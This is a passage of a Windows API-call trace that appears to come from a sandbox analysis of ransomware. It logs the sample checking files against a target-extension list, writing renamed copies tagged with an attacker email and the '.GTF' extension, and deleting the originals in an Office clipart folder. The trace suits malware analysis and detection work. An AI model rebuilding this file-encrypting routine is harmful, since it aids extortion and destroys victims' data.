	[0182.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68
	[0182.157] lstrlenW (lpString=".zip") returned 4
	[0182.157] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.157] lstrlenW (lpString=".rar") returned 4
	[0182.157] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.157] lstrlenW (lpString=".bz2") returned 4
	[0182.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.157] lstrlenW (lpString=".7z") returned 3
	[0182.157] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68
	[0182.157] lstrlenW (lpString=".dbf") returned 4
	[0182.157] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68
	[0182.157] lstrlenW (lpString=".1cd") returned 4
	[0182.157] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68
	[0182.157] lstrlenW (lpString=".jpg") returned 4
	[0182.157] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.157] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0182.157] lstrlenW (lpString="J0183198.WMF") returned 12
	[0182.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0182.158] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=24430) returned 1
	[0182.158] CloseHandle (hObject=0x540) returned 1
	[0182.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf")) returned 0x220
	[0182.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0182.159] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.159] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0182.160] GetLastError () returned 0x0
	[0182.160] ReadFile (in: hFile=0x540, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x5f6e, lpOverlapped=0x0) returned 1
	[0182.162] WriteFile (in: hFile=0x3d4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x5f70, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x5f70, lpOverlapped=0x0) returned 1
	[0182.163] ReadFile (in: hFile=0x540, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.164] WriteFile (in: hFile=0x3d4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.164] SetEndOfFile (hFile=0x3d4) returned 1
	[0182.164] CloseHandle (hObject=0x3d4) returned 1
	[0182.164] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.164] SetEndOfFile (hFile=0x540) returned 1
	[0182.167] CloseHandle (hObject=0x540) returned 1
	[0182.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.167] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf")) returned 1
	[0182.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68
	[0182.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68
	[0182.168] lstrlenW (lpString=".doc") returned 4
	[0182.168] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.168] lstrlenW (lpString=".docx") returned 5
	[0182.168] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0182.168] lstrlenW (lpString=".pdf") returned 4
	[0182.168] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.168] lstrlenW (lpString=".xls") returned 4
	[0182.168] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.168] lstrlenW (lpString=".xlsx") returned 5
	[0182.168] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0182.168] lstrlenW (lpString=".ppt") returned 4
	[0182.168] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68
	[0182.168] lstrlenW (lpString=".zip") returned 4
	[0182.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.168] lstrlenW (lpString=".rar") returned 4
	[0182.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.168] lstrlenW (lpString=".bz2") returned 4
	[0182.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.168] lstrlenW (lpString=".7z") returned 3
	[0182.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68
	[0182.168] lstrlenW (lpString=".dbf") returned 4
	[0182.168] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68
	[0182.168] lstrlenW (lpString=".1cd") returned 4
	[0182.168] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68
	[0182.168] lstrlenW (lpString=".jpg") returned 4
	[0182.168] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68
	[0182.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68
	[0182.169] lstrlenW (lpString=".doc") returned 4
	[0182.169] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.169] lstrlenW (lpString=".docx") returned 5
	[0182.169] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0182.169] lstrlenW (lpString=".pdf") returned 4
	[0182.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.169] lstrlenW (lpString=".xls") returned 4
	[0182.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.169] lstrlenW (lpString=".xlsx") returned 5
	[0182.169] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0182.169] lstrlenW (lpString=".ppt") returned 4
	[0182.169] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68
	[0182.169] lstrlenW (lpString=".zip") returned 4
	[0182.169] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.169] lstrlenW (lpString=".rar") returned 4
	[0182.169] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.169] lstrlenW (lpString=".bz2") returned 4
	[0182.169] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.169] lstrlenW (lpString=".7z") returned 3
	[0182.169] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68
	[0182.169] lstrlenW (lpString=".dbf") returned 4
	[0182.169] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68
	[0182.169] lstrlenW (lpString=".1cd") returned 4
	[0182.169] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF") returned 68
	[0182.169] lstrlenW (lpString=".jpg") returned 4
	[0182.169] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.170] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0182.170] lstrlenW (lpString="J0183574.WMF") returned 12
	[0182.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183574.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0182.171] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=19274) returned 1
	[0182.171] CloseHandle (hObject=0x540) returned 1
	[0182.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183574.wmf")) returned 0x220
	[0182.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183574.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183574.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0182.171] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.171] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183574.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0182.172] GetLastError () returned 0x0
	[0182.172] ReadFile (in: hFile=0x540, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x4b4a, lpOverlapped=0x0) returned 1
	[0182.539] WriteFile (in: hFile=0x3d4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x4b50, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x4b50, lpOverlapped=0x0) returned 1
	[0182.919] ReadFile (in: hFile=0x540, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.920] WriteFile (in: hFile=0x3d4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.920] SetEndOfFile (hFile=0x3d4) returned 1
	[0183.722] CloseHandle (hObject=0x3d4) returned 1
	[0183.911] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.911] SetEndOfFile (hFile=0x540) returned 1
	[0183.914] CloseHandle (hObject=0x540) returned 1
	[0183.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.177] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183574.wmf")) returned 1
	[0184.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68
	[0184.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68
	[0184.180] lstrlenW (lpString=".doc") returned 4
	[0184.180] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.180] lstrlenW (lpString=".docx") returned 5
	[0184.180] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0184.180] lstrlenW (lpString=".pdf") returned 4
	[0184.180] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.180] lstrlenW (lpString=".xls") returned 4
	[0184.180] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.180] lstrlenW (lpString=".xlsx") returned 5
	[0184.180] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0184.180] lstrlenW (lpString=".ppt") returned 4
	[0184.180] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68
	[0184.180] lstrlenW (lpString=".zip") returned 4
	[0184.180] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.180] lstrlenW (lpString=".rar") returned 4
	[0184.180] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.180] lstrlenW (lpString=".bz2") returned 4
	[0184.180] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.180] lstrlenW (lpString=".7z") returned 3
	[0184.180] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68
	[0184.180] lstrlenW (lpString=".dbf") returned 4
	[0184.180] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68
	[0184.180] lstrlenW (lpString=".1cd") returned 4
	[0184.180] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68
	[0184.180] lstrlenW (lpString=".jpg") returned 4
	[0184.180] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68
	[0184.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68
	[0184.181] lstrlenW (lpString=".doc") returned 4
	[0184.181] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.181] lstrlenW (lpString=".docx") returned 5
	[0184.181] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0184.181] lstrlenW (lpString=".pdf") returned 4
	[0184.181] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.181] lstrlenW (lpString=".xls") returned 4
	[0184.181] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.181] lstrlenW (lpString=".xlsx") returned 5
	[0184.181] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0184.181] lstrlenW (lpString=".ppt") returned 4
	[0184.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68
	[0184.181] lstrlenW (lpString=".zip") returned 4
	[0184.181] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.181] lstrlenW (lpString=".rar") returned 4
	[0184.181] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.181] lstrlenW (lpString=".bz2") returned 4
	[0184.181] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.181] lstrlenW (lpString=".7z") returned 3
	[0184.181] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68
	[0184.181] lstrlenW (lpString=".dbf") returned 4
	[0184.181] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68
	[0184.181] lstrlenW (lpString=".1cd") returned 4
	[0184.181] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF") returned 68
	[0184.181] lstrlenW (lpString=".jpg") returned 4
	[0184.181] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.182] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0184.182] lstrlenW (lpString="J0187819.WMF") returned 12
	[0184.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0184.183] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=10352) returned 1
	[0184.183] CloseHandle (hObject=0x3d0) returned 1
	[0184.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf")) returned 0x220
	[0184.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0184.183] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.183] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0184.184] GetLastError () returned 0x0
	[0184.184] ReadFile (in: hFile=0x3d0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x2870, lpOverlapped=0x0) returned 1
	[0184.186] WriteFile (in: hFile=0x42c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x2880, lpOverlapped=0x0) returned 1
	[0184.187] ReadFile (in: hFile=0x3d0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.187] WriteFile (in: hFile=0x42c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.187] SetEndOfFile (hFile=0x42c) returned 1
	[0184.188] CloseHandle (hObject=0x42c) returned 1
	[0184.188] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.188] SetEndOfFile (hFile=0x3d0) returned 1
	[0184.191] CloseHandle (hObject=0x3d0) returned 1
	[0184.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187819.wmf")) returned 1
	[0184.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68
	[0184.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68
	[0184.192] lstrlenW (lpString=".doc") returned 4
	[0184.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.192] lstrlenW (lpString=".docx") returned 5
	[0184.193] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0184.193] lstrlenW (lpString=".pdf") returned 4
	[0184.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.193] lstrlenW (lpString=".xls") returned 4
	[0184.193] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.193] lstrlenW (lpString=".xlsx") returned 5
	[0184.193] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0184.193] lstrlenW (lpString=".ppt") returned 4
	[0184.193] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68
	[0184.193] lstrlenW (lpString=".zip") returned 4
	[0184.193] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.193] lstrlenW (lpString=".rar") returned 4
	[0184.193] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.193] lstrlenW (lpString=".bz2") returned 4
	[0184.193] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.193] lstrlenW (lpString=".7z") returned 3
	[0184.193] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68
	[0184.193] lstrlenW (lpString=".dbf") returned 4
	[0184.193] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68
	[0184.193] lstrlenW (lpString=".1cd") returned 4
	[0184.193] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68
	[0184.193] lstrlenW (lpString=".jpg") returned 4
	[0184.193] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68
	[0184.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187819.WMF") returned 68
	[0184.193] lstrlenW (lpString=".doc") returned 4
	[0184.193] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.193] lstrlenW (lpString=".docx") returned 5
	[0184.193] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0184.193] lstrlenW (lpString=".pdf") returned 4
	[0184.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.194] lstrlenW (lpString=".xls") returned 4
	[0184.194] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.194] lstrlenW (lpString=".xlsx") returned 5
	[0184.194] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0184.194] lstrlenW (lpString=".ppt") returned 4
	[0184.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
